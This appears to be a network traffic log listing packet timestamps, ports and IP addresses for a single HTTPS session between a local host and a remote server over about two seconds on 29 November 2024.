Nov 29, 2024 15:45:19.392214060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.392273903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.392285109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.392463923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.397043943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.397059917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.397125959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.397134066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.397178888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.402578115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.402596951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.402682066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.402688980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.402815104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.403822899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.608661890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.608674049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.608721972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.608829021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.608851910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.608887911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.608910084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.613894939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.613917112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.614540100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.614545107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.616873026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.619322062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.619337082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.619395018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.619400978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.620847940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.624267101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.624283075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.624339104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.624345064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.624900103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.629923105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.629937887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.630022049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.630028963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.630064964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.634962082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.634975910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.635065079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.635071039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.635117054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.640645981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.640661001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.640729904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.640736103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.640933990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.646034002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.646050930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.646109104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.646112919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.646143913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.646678925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.819152117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.819169044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.819232941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.819242001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.819258928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.819281101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.824654102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.824680090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.824731112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.824737072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.824780941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.829579115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.829595089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.829654932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.829659939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.829741955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.835118055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.835143089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.835180998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.835186005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.835211992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.835223913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.840600967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.840615988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.840665102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.840670109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.840714931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.846009970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.846024990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.846081972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.846087933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.846143007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.851330042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.851346016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.851406097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.851411104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.851485014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.856316090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.856332064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.856369972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.856374979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:19.856400967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:19.856419086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.029692888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.029717922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.029834032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.029853106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.030451059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.035317898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.035334110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.035401106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.035407066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.038445950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.040790081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.040805101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.040858030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.040863991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.042443037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.045680046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.045694113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.045746088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.045751095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.046448946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.051254988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.051269054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.051316977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.051321983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.051347971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.051367044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.056556940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.056571007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.056637049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.056643009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.058449030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.062202930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.062216997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.062274933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.062279940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.062441111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.067517042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.067531109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.067584038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.067589998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.070441961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.240843058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.240868092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.240997076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.241017103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.241321087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.245632887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.245650053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.245717049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.245724916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.245805979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.251163960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.251180887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.251244068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.251250982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.251373053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.256709099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.256722927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.256784916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.256793022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.256858110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.261626959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.261663914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.261698961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.261706114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.261729956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.261780024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.267455101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.267472982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.267524004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.267529964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.267669916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.271645069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.272417068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.272430897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.272494078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.272499084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.272546053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.278049946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.278064966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.278127909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.278134108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.278182983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.283730984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.451601028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.451617002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.451690912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.451703072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.451744080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.457083941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.457099915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.457159996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.457166910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.457191944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.457206964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.462618113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.462632895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.462690115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.462696075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.462733030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.467470884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.467484951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.467564106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.467570066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.467612028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.473014116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.473033905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.473072052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.473078012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.473109961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.473126888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.478389978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.478405952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.478454113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.478463888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.478518963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.483773947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.483792067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.483848095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.483854055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.483877897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.483891010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.489346027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.489360094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.489433050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.489439011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.489479065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.491707087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.662070990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.662087917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.662214041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.662221909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.662265062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.667485952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.667500019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.667607069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.667613029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.667659044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.672981024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.672996998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.673099041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.673105001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.673151016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.678539991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.678555965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.678627014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.678632975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.678673983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.683418989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.683434963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.683511972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.683517933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.683557987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.688600063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.688616037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.688689947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.688695908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.688738108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.694154024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.694169044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.694237947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.694243908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.694286108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.695108891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.699681997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.699721098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.699783087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.699790001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.699825048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.700161934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.873155117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.873172045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.873254061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.873264074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.873302937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.877979994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.877995968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.878057957 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.878063917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.878098011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.883506060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.883522034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.883578062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.883583069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.883615971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.889139891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.889156103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.889213085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.889219046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.889269114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.893965960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.893980980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.894037008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.894042969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.894084930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.899904013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.899935961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.899997950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.900002956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.900041103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.904736042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.904751062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.904819965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.904825926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.904867887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.910247087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.910264015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.910334110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:20.910340071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:20.910382032 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.086884022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.086899042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.087048054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.087063074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.087107897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.091985941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.092017889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.092050076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.092055082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.092087984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.092106104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.097322941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.097345114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.097378969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.097384930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.097429037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.102910042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.102926016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.102978945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.102986097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.103024006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.107729912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.107749939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.107805014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.107810020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.107851982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:21.113600016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.113615990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:21.113667965 CET	49704	443	192.168.2.5	149.129.12.34
